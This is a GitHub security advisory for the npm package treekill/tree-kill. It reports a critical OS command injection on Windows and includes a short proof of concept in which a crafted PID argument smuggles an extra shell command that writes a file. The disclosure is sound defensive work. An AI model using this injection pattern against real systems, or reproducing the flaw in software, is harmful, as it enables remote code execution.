pkrumins/node-tree-kill · Security

Treekill Enables OS Command Injection

GHSA ID
GHSA-j7fq-p9q7-5wfv
CVE ID
CVE-2019-15598
Severity
critical
Published
Updated
CVSS
9.8 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v3
9.8 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.

Steps To Reproduce:

Create the following PoC file:

var kill = require('treekill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');

Execute the following commands in terminal:

npm i treekill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)

The HACKED.txt has been created

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